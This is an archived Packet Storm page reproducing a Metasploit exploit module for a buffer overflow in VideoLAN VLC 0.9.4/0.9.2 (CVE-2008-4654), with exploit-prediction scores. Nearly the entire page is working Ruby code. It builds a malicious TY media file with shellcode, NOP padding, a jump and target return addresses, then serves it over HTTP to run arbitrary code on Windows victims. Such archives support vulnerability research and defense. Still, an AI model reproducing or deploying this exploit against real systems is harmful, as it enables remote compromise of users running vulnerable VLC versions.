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packetstormMCPACKETSTORM:83204
HistoryNov 26, 2009 - 12:00 a.m.

VideoLAN VLC TiVo Buffer Overflow

2009-11-2600:00:00
MC
packetstormsecurity.com
18

0.753 High

EPSS

Percentile

98.2%

`##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'VideoLAN VLC TiVo Buffer Overflow',  
'Description' => %q{  
This module exploits a buffer overflow in VideoLAN VLC 0.9.4.  
By creating a malicious TY file, a remote attacker could overflow a  
buffer and execute arbitrary code.  
},  
'License' => 'MSF_LICENSE',  
'Author' => [ 'MC' ],  
'Version' => '$Revision$',  
'References' =>   
[  
[ 'CVE', '2008-4654' ],  
[ 'OSVDB', '49181' ],  
[ 'BID', '31813' ],  
],  
'Payload' =>  
{  
'Space' => 550,  
'BadChars' => "\x00",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'VideoLAN VLC 0.9.4', { 'Ret' => 0x6a5e6710 } ],  
[ 'VideoLAN VLC 0.9.2', { 'Ret' => 0x6a5e69d7 } ],  
],  
'Privileged' => false,  
'DisclosureDate' => 'Oct 22 2008',  
'DefaultTarget' => 0))  
  
end  
  
def autofilter  
false  
end  
  
def check_dependencies  
use_zlib  
end  
  
def on_request_uri(cli, request)  
  
return if ((p = regenerate_payload(cli)) == nil)  
  
ty = "\xF5\x46\x7A\xBD"  
ty << "\x00\x00\x00\x02"  
ty << "\x00\x02\x00\x00"  
ty << "\x00\x00\x00\x00"  
ty << "\x00\x00\x00\x00"  
ty << "\x00\x00\x05\x41"  
ty << "\x00\x00\x00\x00"  
ty << "\x00\x00\x05\x49"  
ty << "\x00" * 60  
ty << "\x00" * (1024 - payload.encoded.length) + payload.encoded  
ty << make_nops(2) + Rex::Arch::X86.jmp_short(6) + [target.ret].pack('V')  
ty << make_nops(12) + [0xe8, -525].pack('CV') + "\x00" * (129931)  
ty << "\x05"  
ty << "\x00\x00\x00"  
ty << "\x05"  
ty << "\x00"  
ty << "\x09"  
ty << "\xc0"  
ty << "\x00" * 14  
ty << "\x06"  
ty << "\xe0"  
ty << "\x00" * 302004  
  
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")  
  
send_response_html(cli, ty, { 'Content-Type' => 'application/octet-stream' })  
  
handler(cli)  
  
end  
  
end  
`

0.753 High

EPSS

Percentile

98.2%